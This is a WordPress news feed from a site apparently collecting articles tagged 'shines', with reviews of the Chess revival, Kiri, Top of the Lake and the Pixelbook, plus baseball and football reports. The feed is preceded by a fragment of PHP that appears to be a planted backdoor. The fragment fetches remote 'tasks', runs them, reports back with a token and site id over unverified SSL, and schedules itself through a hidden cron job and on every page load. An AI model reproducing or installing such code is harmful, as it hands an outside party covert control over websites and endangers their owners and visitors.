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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Shines – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 02 May 2018 05:22:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Shines – Brief News https://briefnews.eu 32 32 Chess review: Michael Ball shines in SPINE-TINGLING ABBA musical revival https://briefnews.eu/chess-review-michael-ball-shines-in-spine-tingling-abba-musical-revival/ https://briefnews.eu/chess-review-michael-ball-shines-in-spine-tingling-abba-musical-revival/#respond Wed, 02 May 2018 05:22:28 +0000 http://briefnews.eu/chess-review-michael-ball-shines-in-spine-tingling-abba-musical-revival/

ChessPH

Michael Ball soars in Chess as the musical makes its return to the West End

At last the kings have regained their crown.

In 1986 Chess was supposed to be the crowning glory of ABBA songwriters Benny Andersson and Bjorn Ulvaeus and opened to huge fanfare but swiftly hit some bum notes with audiences and critics. Too operatic, too complicated, too much chess.

I Know Him So Well and One Night In Bangkok were huge hits but the show stalled as a frustrating stalemate between ambition and execution. 

32 years later, this is the first time the show has returned to London’s West End and in triumphant form thanks to a powerhouse cast, reborn original score and spectacular set design.

Did I mention that music? After endless tinkering and rewrites that satisfied nobody, the main core of the original score is restored in rapturous, goosebumping and glorious form. 

This show embraces all that was once criticised, refines it and proudly unleashes it in unapologetic and show-stopping form. 

Do not miss this bold, brash and brilliant revival. 

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This is a show that takes no prisoners and exposes any weakness in performance. There is a good reason Pity the Child is often called ‘Pity the performer.’

Surely one of the most difficult musicals throughout to sing, the intricate phrasing, irregular tempos and operatic counter-melodies require extraordinary ability to pull off.

Six blazing central performances do so with scintilating effect.

Michael Ball, unsurprising, soars but not just on the barn-storming Anthem, which has become a staple of his live shows but achives a majestic new resonance here. He brings a weary dignity to Russian grand master Segyievsky who seeks victory but finds love instead – at the cost of his family and nationality. He is spectacular in Endgame, which I have waited 30 years to see restored to its full, gut-punching glory. 

Tim Howar is the perfect counterpoint as Trumper – arrogant, swaggering and insensitive with full-throated rock vocals but bringing real pain and power to the best Pity The Child i have ever heard. 

Alexandra Burke keeps her megawatt star power just about under wraps as the discarded Svetlana, including a beautiful Someone’s Else’s Story, but also holds her own alongside the seasoned veterans in the epics group numbers.

Cassidy Janson in the ‘Elaine Paige role’ Florence is magnificent, feisty and fragile. Rich vocals throb on Heaven Help My Heart and wrend the heart on You And I where a final big screen close-up shows her tear-stained face. She is the emotion and emotional heart of the show and is flawless as the woman any man would give up his country for and then, in turn, give her up simply to bring her greatest wish.

Cedric Neal thrills as the Arbiter with beautiful range and runs while Phillip Browne is hugely impressive as the manipulatibve and merciless Molokov. 

A strong backing cast impresses throughout, even before the ENO chorus expands the vocals into sublime widescreen virtuosity. 

Chess castFrederic Aranda

Benny Andersson and Bjorn Ulvaeus’s musical is a triumph thanks in part to a powerhouse cast

Following unforgettable triumphs with Sweeney Todd and Glenn Close’s Sunset Boulevard, this is another sensationally semi-staged version from the ENO. Making a virtue of the format, it pares down a show to the lean bones which, fundamentally, form the challenging and glorious score.

The set utlises a fractured chess board backdrop of LED screens to show an Italian mountain resort, a private jet landing, Thai red light district or historical newsreels. 

The projections of real-life cold war news footage finally puts the show in a global context, rather than a tenuous link between chess and Russian-American tensions. It also allows huge close-ups of the performers that adds intimacy and scale to the biggest moments.

The Greatest Showman: Cast and real-life people

Tue, January 16, 2018

The Greatest Showman: The real-life people behind the new musical.

The Greatest Showman: Cast and characters

Twentieth Century Fox

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The Greatest Showman: Cast and characters

It is still not a perfect show. The opening always suffers from a slow-build and no big numbers until Someone Else’s Story and Anthem. First a first-timer it can challenge you to care at all.

Surprisingly, One Night In Bangkok felt slightly sluggish and underwhelming with a cast which shone so impressively everywhere else looking a tad heavy-footed. Conversely, the slightly peppy tempo on Someone Else’s Story robbed it of some of the pathos. 

The shadows of Elaine Paige, Barbara Dickson, Murray Head and the incredible Tommy Kobborg loom very large and are hard to shake on the best-known numbers. Rather than imitate or be intimidated, though, this new revival seeks to to cast its own impressive shadow.

It is still a mind-boggling concept to have a six-minute scene mid-way through the first act be a chess match with orchestral accompaniment. But oh, that music. The simple staging and an immaculate orchestra suspended above and behind the set allow you to simply listen to the exquisite beauty of the title track.

Game, set and checkmate Chess.

Chess is running at the London Coliseum until June 2.

For tickets and information go to www.eno.org/whats-on/chess

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]]> https://briefnews.eu/chess-review-michael-ball-shines-in-spine-tingling-abba-musical-revival/feed/ 0 Starc shines bright to win https://briefnews.eu/starc-shines-bright-to-win/ https://briefnews.eu/starc-shines-bright-to-win/#respond Wed, 11 Apr 2018 12:28:49 +0000 http://briefnews.eu/starc-shines-bright-to-win/

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]]> https://briefnews.eu/starc-shines-bright-to-win/feed/ 0 Yankees spoil Jays' home opener as Stanton shines in pinstripe debut https://briefnews.eu/yankees-spoil-jays-home-opener-as-stanton-shines-in-pinstripe-debut/ https://briefnews.eu/yankees-spoil-jays-home-opener-as-stanton-shines-in-pinstripe-debut/#respond Fri, 30 Mar 2018 08:01:51 +0000 http://briefnews.eu/yankees-spoil-jays-home-opener-as-stanton-shines-in-pinstripe-debut/

J.A. Happ threw 96 pitches in Toronto’s opening day loss to the New York Yankees on Thursday afternoon.

He was happy with all but one of them.

Happ missed on a fastball to Giancarlo Stanton in the first inning and the 2017 NL MVP launched it over the right-centre field fence for a two-run homer, putting the Yankees up early en route to a 6-1 win over the Blue Jays.

With two home runs on the day, Giancarlo Stanton had a Yankees debut to remember as New York beat Toronto 6-1 on opening day.2:03

Stanton, the Yankees’ prized off-season acquisition, homered twice in the game and drove in four runs in his New York debut.

“I tried to throw a two-seamer and I just pulled it a little bit. That’s a pitch I’d like to have back,” said Happ, who threw 4 2/3 innings and allowed three runs [two earned], four hits and one walk while striking out five in his first career opening day start.

“I think the reality is sometimes one mistake is one too many to win a ballgame.”

Jays’ bats silent

Catcher Russell Martin agreed with the veteran left-hander’s assessment.

“Really if there was one pitch we could have back it would be the one to Stanton. Kind of a two-seamer away that pulled and caught the middle of the plate and he put a good swing on it,” Martin said. “But overall I liked what he did. We just didn’t score enough runs for him.”

Luis Severino had a lot to do with that.

The Yankees starter struck out seven and held Toronto to just one hit and three walks over 5 2/3 innings. Brett Gardner also homered and Gary Sanchez drove in another run for New York (1-0).

Kevin Pillar supplied Toronto’s (0-1) offence with a solo homer off reliever Dellin Betances in the eighth inning.

Donaldson hampered by shoulder issue

All-star third baseman Josh Donaldson, who was slowed by a shoulder issue early in spring training, struggled with weak throws across the diamond throughout the game, including one in the sixth inning that pulled first baseman Justin Smoak off the bag. Smoak recovered, stretching his toe to the base to get the out, which was upheld after video review.

Manager John Gibbons said Donaldson’s arm “feels kinda dead, not injured.”

“I’ve been feeling it a little bit all spring, it’s just kinda been ongoing back and forth,” Donaldson elaborated. “But I don’t have any pain or anything like that so that’s always good. It’s just getting the strength back.”

Donaldson said he’ll be cautious with the shoulder and Gibbons suggested he’d DH his star third baseman until he feels better. A quick fix would be ideal for Toronto, which is already without shortstop Troy Tulowitzki for the foreseeable future. The team placed Tulowitzki on the 60-day disabled list with bone spurs in both his heels earlier in the day. He hasn’t played since sustaining an ankle injury last July.

The Blue Jays were outhit 11-2 and struck out 12 times Thursday. The miserable offensive showing matched the weather conditions in Toronto, where rain drizzled outside the domed Rogers Centre all day.

Severino holds offence in check

Donaldson chalked up the team’s struggles to Severino’s dominant performance.

“When you have Severino pitching like he was today it’s going to be difficult,” he said. “We have to disrupt him somehow, get some runners on base. Opening day is unique to the extent where it’s kinda hard to get into your routine. You have a lot of things going on before the game [but] Severino had a very nice game.”

Stanton earned his third RBI in the fifth, smacking a line drive double off Canadian reliever John Axford to cash in Aaron Judge from first base. Sanchez followed with a run-scoring double and Gardner hit a solo homer off Danny Barnes in the seventh for a 5-0 Yankees lead.

Stanton’s second home run, a solo shot, came off Tyler Clippard in the ninth.

“You’ve got to pitch them tough,” Martin said of how to navigate the tough Yankees lineup. “Baseball’s one of those games where if you do make a mistake and there’s a good hitter up there he’s going to make you pay. … The key is still to be aggressive but just out-think them.”

Halladay tribute

Pillar’s eighth-inning homer was just Toronto’s second hit of the game. Curtis Granderson, who began the day with a first-inning fielding error in left, hit a single to centre field for his first hit as a Blue Jay in the fourth inning.

The game began with a touching tribute to Roy Halladay, the former Blue Jays ace who died last November when the small sport plane he was piloting crashed into the Gulf of Mexico. His No. 32 was retired by the organization, marked by the unfurling of a banner from the centre-field rafters.

Halladay’s sons, 17-year-old Braden and 13-year-old Ryan, placed the game ball on the mound instead of throwing a ceremonial first pitch.

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]]> https://briefnews.eu/yankees-spoil-jays-home-opener-as-stanton-shines-in-pinstripe-debut/feed/ 0 The Way Of Life Shines Light On Each Stage Of Life https://briefnews.eu/the-way-of-life-shines-light-on-each-stage-of-life/ https://briefnews.eu/the-way-of-life-shines-light-on-each-stage-of-life/#respond Sun, 18 Mar 2018 05:39:38 +0000 http://briefnews.eu/the-way-of-life-shines-light-on-each-stage-of-life/ theWayOfLife_header.jpg

The Way Of Life highlights moments from childhood, adulthood, and old age, examining moments of existence from perspectives of characters at each of these ages. These times come with happiness and sadness in this emotionally-driven game, and players will be forced to make life-altering decisions that, ultimately, choose each of these three lives will lead.

The Way Of Life stars three characters at different points in life: a child, an adult, and an old man. The developers have pushed to make players feel ‘their age’ by adding certain design mechanics to drive it home. For example, when you’re a child you have much greater range of movement and colors are bright. Life is exciting, of course! Compare that to adulthood, where the world seems a bit bleaker and apathetic, and the world doesn’t seem as big as it used to.

With each moment in life comes choices for these three protagonists, with the end results dictating how your life unravels. These decisions won’t be easy, either, exploring subjects from bullying to euthanasia. The Way Of Life doesn’t turn its head from these dark tones, but merely contrasts them with the joys of life, like love and growth.

Which is kind of what life is all about, right?

You can purchase The Way Of Life on Steam here. You can also check out the official website, Facebook, Twitter, and Youtube channel!

]]> https://briefnews.eu/the-way-of-life-shines-light-on-each-stage-of-life/feed/ 0 Chelsea 2 Crystal Palace 1: Willian shines as Blues survive late scare https://briefnews.eu/chelsea-2-crystal-palace-1-willian-shines-as-blues-survive-late-scare/ https://briefnews.eu/chelsea-2-crystal-palace-1-willian-shines-as-blues-survive-late-scare/#respond Sat, 10 Mar 2018 19:31:12 +0000 http://briefnews.eu/chelsea-2-crystal-palace-1-willian-shines-as-blues-survive-late-scare/

The Blues knew they needed to capitalise on Liverpool’s slip up at the hands of Manchester United earlier in the day.

And Antonio Conte’s men didn’t disappoint at Stamford Bridge.

The in-form Willian kicked off proceedings with a clever goal from outside the area midway through the first half.

Palace then conceded an unfortunate own goal after Davide Zappacosta’s cross hit Martin Kelly then Wayne Henessey and rebounded back onto Kelly before trickling over the line.

Roy Hodgson’s side grabbed a late equaliser through left-back Patrick van Aanholt. 

FULL REPORT TO FOLLOW…

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]]> https://briefnews.eu/chelsea-2-crystal-palace-1-willian-shines-as-blues-survive-late-scare/feed/ 0 Kiri episode 1 review: Sarah Lancashire shines in this gritty and compelling drama https://briefnews.eu/kiri-episode-1-review-sarah-lancashire-shines-in-this-gritty-and-compelling-drama/ https://briefnews.eu/kiri-episode-1-review-sarah-lancashire-shines-in-this-gritty-and-compelling-drama/#respond Thu, 11 Jan 2018 14:19:58 +0000 http://briefnews.eu/kiri-episode-1-review-sarah-lancashire-shines-in-this-gritty-and-compelling-drama/

WARNING: This article contains spoilers from episode 1 of Channel 4’s Kiri.

From the outset we follow the carer – played superbly by Happy Valley and Last Tango in Halifax’s Sarah Lancashire – and get a sense of the warm and no-nonsense nature.

Once more Lancashire commands the screen with her presence in this tragic exploration of race, media and family secrets. 

Compared to police officer Catherine Cawood, Miriam seems more brittle, isolated and broken – with the case of Kiri (played by Felicia Mukasa) really pushing her over the edge.

Although Lancashire leads fantastically, she is in good company with the likes of fellow BATFA winner Wunmi Mosaku, Steven Mackintosh from Luther, Game of Thrones’ Lucian Msamati and The Crown actress Lia Williams. 

IS KIRI BASED ON A TRUE STORY?

Their performances are totally convincing in this tense drama but credit is also due to Jack Thorne for penning another strong script.

He’s one of the finest writers on British television with last year’s Channel 4 miniseries National Treasure tackling historical sexual abuse in a delicate and intriguing way. 

Thorne applies the same careful attention to details with his characters in Kiri as he did with National Treasure. 

His efforts achieve similar results: carefully constructed characters involved in a complex story and exploring sensitive issues. 

Although Kiri is fictional story, Thorne manages to bring a realism to the show that feels like an adaptation of a real-life case and not just a television drama. 

WHO IS IN THE CAST OF CHANNEL 4 DRAMA KIRI?

In episode one he sets up the scene but it will be interesting to see the direction the story takes and if this will be a moral play or simply looking at a scenario that could very easily happen in real life. 

Speaking of where Kiri will go next, a short teaser for next week will see audiences really taken underneath the surface of the characters now that the premise has been established in episode one. 

There are clearly family secrets on all sides with foster mother Alice Warner (Lia Williams) only remaining in her marriage because of her children. 

While viewers are set to learn more about Kiri’s grandparents Tobi Akindele (Lucian Msamati) and Rochelle (Andi Osho) and why the latter allowed her abusive son Nate (Paapa Essiedu) access to his daughter. 

WHERE IS CHANNEL 4 DRAMA KIRI FILMED?

But also Tobi’s violent treatment of his son which could explain Nate’s past and how his life took a downturn. 

There’s also a whodunit quality as Alice’s troubled and truanting son have something to do with her disappearance.

All fingers are pointing to Kiri’s biological father Nate but could it be someone completely different? Could the killing be an act of jealousy committed by Kiri’s teenage foster brother?  

Kiri promises to be a dark drama that sheds light on race in a nuanced and engaging way. 

Kiri airs on Channel 4 on Wednesdays at 9pm.

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]]> https://briefnews.eu/kiri-episode-1-review-sarah-lancashire-shines-in-this-gritty-and-compelling-drama/feed/ 0 Westbrook shines in OKC win https://briefnews.eu/westbrook-shines-in-okc-win/ https://briefnews.eu/westbrook-shines-in-okc-win/#respond Sun, 24 Dec 2017 11:14:34 +0000 http://briefnews.eu/westbrook-shines-in-okc-win/

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Sport | news.com.au — Australia’s #1 news site

]]> https://briefnews.eu/westbrook-shines-in-okc-win/feed/ 0 Google Pixelbook review: Hardware shines, but software misses the mark https://briefnews.eu/google-pixelbook-review-hardware-shines-but-software-misses-the-mark/ https://briefnews.eu/google-pixelbook-review-hardware-shines-but-software-misses-the-mark/#respond Thu, 26 Oct 2017 13:44:59 +0000 http://briefnews.eu/google-pixelbook-review-hardware-shines-but-software-misses-the-mark/

Chrome OS has come a long way from its roots as an operating system that could only run Google’s browser and a set of applications built to run inside a limited environment. The Pixelbook is the company’s latest push to make it attractive to a wider audience by providing a sharp-looking Haigh-powered Chromebook that also works as a tablet.

Google is hoping that the new hardware will provide a halo that attracts customers to other, lower-cost Chromebooks, and offer people looking for a bit more performance something new to pick up. One of the key benefits the new hardware brings to Google is that it’s a powerful machine that could be used to appeal to high-ranking executives at a time when the tech titan is pitching Chrome OS as an operating system for enterprises.

The obvious comparison here is to Microsoft’s Surface tablet line, which helped revitalize the PC business by driving the creation of laptop-tablet hybrids. If Google can do the same thing for the Chromebook market, it could have some fairly significant consequences.

This is the most expensive Chromebook available on the market (starting at $ 999), and it seems like the best one money can buy. The hardware shines (literally — the glass inlays on the case are slightly reflective), but its software still feels hampered, and not fully ready for the Pixelbook’s marquee touchscreen.

And then there’s the issue of Chrome OS itself. While the operating system has grown a lot, it still doesn’t have all the apps and services available to it that a user might want, which might be a dealbreaker before someone can even get their hands on a Pixelbook in the first place.

The bottom line is this: if the best Chromebook on the market is appealing to you as a concept, this hardware will answer what you’re looking for. Everyone else will have to wade through the muddier nuances of the Pixelbook’s challenges. Read on.

Excellent hardware

The Pixelbook’s physical chassis screams attention to detail. Case in point: there are a pair of silicone pads on either side of the trackpad that are designed to act as a cushion for the touchscreen and keep it off the Pixelbook’s keyboard, as well as act as feet that keep the device from sliding around as a tablet.

(There’s a matching silicone strip on the back that helps anchor the device when it’s set up as a laptop.)

Google’s keyboard seems like it will prove divisive. It’s incredibly quiet, but feels just a tad mushy compared to a mechanical offering or even Apple’s most recent laptop keyboards. An average user likely won’t find much to complain about with it, but keyboard fanatics might take issue.

As soon as the computer senses that it has been folded completely flat, the system stops accepting inputs from the keyboard, in order to minimize errant keystrokes when the Pixelbook is being used in tablet mode.

That same level of attention to detail is on display with how snappy the Pixelbook’s touchscreen is. Google put a lot of work into reducing the latency of touch events, so people can see the results of what they touch in as close to real time as possible. All of the work paid off.

As for the hinge that lets users flip the Pixelbook around, it feels just right: firm without feeling too tight or too loose. Now, this is only a couple of weeks after getting the device, though it’s hard to know how it will change over time.

Overall, the Pixelbook feels pretty great from the standpoint of a solid gadget. But then there’s the software.

Chrome OS is hardly touch-native

If there’s one thing that using a Surface Pro 3 for several years taught me, it’s that a touch device relies upon a number of affordances to bridge the gap between how people touched the screen and what the user interface actually opts to do.

But Chrome OS misses some of the affordances available in Windows 10, or even in Android. For example, closing Android apps in tablet mode requires tapping on their icon in the status bar and tapping the “Close” button in a contextual menu that’s clearly built for use with a more precise mouse pointer.

Browsing YouTube through touch alone is similarly frustrating. Tapping any section of the video player that includes a clickable button or slider will automatically trigger that function. For example, tapping the lower-right hand corner of a video will automatically put it into full screen mode, even if all you wanted to do was see how much time is left in a video.

While the screen will change orientation based on the position of the Pixelbook, I found it to be a touch inconsistent, especially when I tried to stand the laptop up easel-style, with its screen flipped around. The volume switch on the side of the device also doesn’t change orientation with the screen, which puts you in the odd position of occasionally pressing the button that faces up relative to the content on screen in order to turn the volume down.

Although users can download and run Android apps alongside content in Chrome now, that doesn’t always feel like a complete experience, depending on how much effort developers have put into ensuring that their app is compatible with Chrome OS. On the bright side, users have a wide variety of applications to choose from, but there’s a comparatively small handful of them that are optimized to work with a Chromebook, especially one in laptop mode.

Google did its best to make that experience feel better, but the company is still relying on developers updating their applications to embrace Chrome OS. It’s something the company is working hard on, but one of the pains of being an early adopter is not being able to access a wide breadth of Android apps that are built to work with the new hardware

These are largely small annoyances, but they add up to an experience that feels a bit hacky and incomplete, in stark contrast to the refined aesthetics of the hardware. A computer this good looking and well thought out from a hardware engineering perspective should have software to match, and the current state of Chrome OS doesn’t quite live up to that promise.

Snazzy features can’t outshine the annoyances, but Chrome OS could do great things in the future

The Pixelbook comes with plenty of bells and whistles, like an integrated Google Assistant that can answer written and spoken questions, as well as provide users with information about a screen area they highlighted using the Pixelbook pen. Those are nice, but I don’t exactly see myself relying on them on a regular basis. (I rarely use Siri or Cortana on their respective desktop operating systems, for example.)

Still, it’s cool to see, and the Assistant integration in particular means that Google’s virtual assistant is now better poised to compete with the likes of Siri and Cortana as companies race to make their AI conversation partners available in as many settings as possible.

Needless to say, I’m not going to run out and drop $ 1,000 or more on a Pixelbook at launch. And those folks who feel like they’d be hampered by the software frustrations that bug me are likely going to be better off holding onto their money.

At the same time, Chrome OS stalwarts, like those folks who grew up using the software in school, would likely find this whole package a strict upgrade over their previous hardware, with some additional bells and whistles included. That’s one of the key things that Google has going for it: a user base who grew up familiar with Chrome OS and are now ready to pick up more performant (and pricier) hardware.

The company clearly plans to keep investing in the desktop operating space, so it’ll be interesting to see what comes next as the Pixelbook’s arrival plays out in the market.

VentureBeat

]]> https://briefnews.eu/google-pixelbook-review-hardware-shines-but-software-misses-the-mark/feed/ 0 1 in 19: New study shines light on reality of suicide among new Ontario moms, moms-to-be https://briefnews.eu/1-in-19-new-study-shines-light-on-reality-of-suicide-among-new-ontario-moms-moms-to-be/ https://briefnews.eu/1-in-19-new-study-shines-light-on-reality-of-suicide-among-new-ontario-moms-moms-to-be/#respond Wed, 30 Aug 2017 23:58:52 +0000 http://briefnews.eu/1-in-19-new-study-shines-light-on-reality-of-suicide-among-new-ontario-moms-moms-to-be/ Wit's End, Part 2

A new study in the Canadian Medical Association Journal shines a light on a topic often seen as taboo: suicide among new mothers and mothers to be.

CBC | Health News

]]> https://briefnews.eu/1-in-19-new-study-shines-light-on-reality-of-suicide-among-new-ontario-moms-moms-to-be/feed/ 0 Top of the Lake: China Girl Review: Elisabeth Moss Shines (Again) in Sundance's Superb Crime Drama https://briefnews.eu/top-of-the-lake-china-girl-review-elisabeth-moss-shines-again-in-sundances-superb-crime-drama/ https://briefnews.eu/top-of-the-lake-china-girl-review-elisabeth-moss-shines-again-in-sundances-superb-crime-drama/#respond Mon, 21 Aug 2017 13:32:49 +0000 http://briefnews.eu/top-of-the-lake-china-girl-review-elisabeth-moss-shines-again-in-sundances-superb-crime-drama/ Elisabeth Moss will be a top contender at this year’s Emmys, and deservedly so, for her work in Hulu’s The Handmaid’s Tale. And she might as well make plans for a return trip next year, too, based on her knockout performance in Sundance’s gritty, mesmerizing crime drama Top of the Lake: China Girl.

A sequel to 2013’s Top of the Lake, China Girl — a six-hour Australian miniseries premiering Sunday, Sept. 10 at 9/8c and airing over three consecutive nights — finds Moss’ police detective Robin Griffin back in Sydney, still guarded and on edge after the traumatic events of last season. (Yes, you need to watch Season 1 before China Girl, if only to understand why Robin is so haunted… and also because it’s great.) Soon, she has a new partner in eager recruit Miranda (Game of Thrones‘ Gwendoline Christie) and a new case to obsess over when the dead body of an Asian prostitute is found stuffed inside a suitcase on a local beach.

Top of the Lake China Girl Elisabeth Moss Alice EnglertBut Robin is chasing personal demons, too: She reconnects with the daughter she gave up for adoption years ago, Mary (Alice Englert), who’s now 17 and rebelling against her adoptive parents (Nicole Kidman and Ewen Leslie) with her much older creep of a boyfriend Alexander (David Dencik). It sounds like an odd fit, but Robin and Mary’s adoption story actually ends up being more compelling than the murder mystery. China Girl isn’t a by-the-numbers crime drama: It’s a human story, first and foremost, and every side trip the narrative takes is emotionally rich and insightful.

As in the last Top of the Lake, Robin also has to battle her way through a thick cloud of male chauvinism at work. The men she works with on the police force are either sleazy perverts or incompetent oafs, or both. (At a crime scene, a male cop orders Miranda to fetch his jacket, then turns to ask Robin if she’s single.) It only makes Robin’s job harder, but she soldiers on without complaint, as if she’s been dealing with idiots like this her whole life. Plus, China Girl finds time to examine the murky morality of legal prostitution (we meet a group of dorky bloggers who trade notes on their favorite brothels and whores), the perils of motherhood in all its forms, and a dozen other fascinatingly juicy themes.

It almost goes without saying at this point that Moss is terrific in this. From Mad Men‘s Peggy Olson to The Handmaid’s Tale‘s Offred, Moss seems to specialize in a stiff-lipped defiance of misogyny, and she gives Robin a steely determination. But she’s not a robot, either: Robin’s pent-up rage spills out at inconvenient times, and Moss lets us see the still-fresh wounds beneath her tough exterior. (As Robin says, she’s not only been “burnt” in the past, she’s been “deep-fried.”) It’s a stunningly vulnerable, powerhouse performance from Moss, further solidifying her status as one of TV’s finest actresses working today.

Top of the Lake China Girl Nicole KidmanActually, the acting is tremendous across the board, as is the directing. Quiet and meditative throughout, China Girl is gorgeously photographed; Oscar winner Jane Campion directs half the episodes and fills the frame with tiny, telling details. (Like when we see Robin’s male colleagues playfully wrestling in the background while she works, or when Robin has to weave her way through a forest of tall blonde girls sipping wine at a bar.) Kidman will likely be back at the Emmys next year, too, for her work here playing a panicked mother who feels her daughter slipping through her fingers. Christie gets a chance to show a comedic, emotional range we haven’t seen from her on GoT, and Englert is very impressive as young Mary, who’s desperate for affection and finds it in all the wrong places.

Judged strictly as a crime drama, China Girl isn’t perfect: It’s a bit exposition-heavy at first, bending over backwards to fill in viewers who didn’t watch the first season, and the various story strands tie together too easily. But the central murder mystery does build to a startlingly intense finish. (You’ll want to watch the last two hours in a row, since Episode 5 ends on a gasp-worthy cliffhanger.) Ultimately, though, China Girl isn’t just about revealing who the killer is. It’s about taking a hard, unflinching look at why we do the terrible things we do… in the hopes that maybe we won’t repeat them the next time around.

THE TVLINE BOTTOM LINE: Top of the Lake: China Girl is a triumph — a haunting, humane crime drama filled with powerhouse performances.

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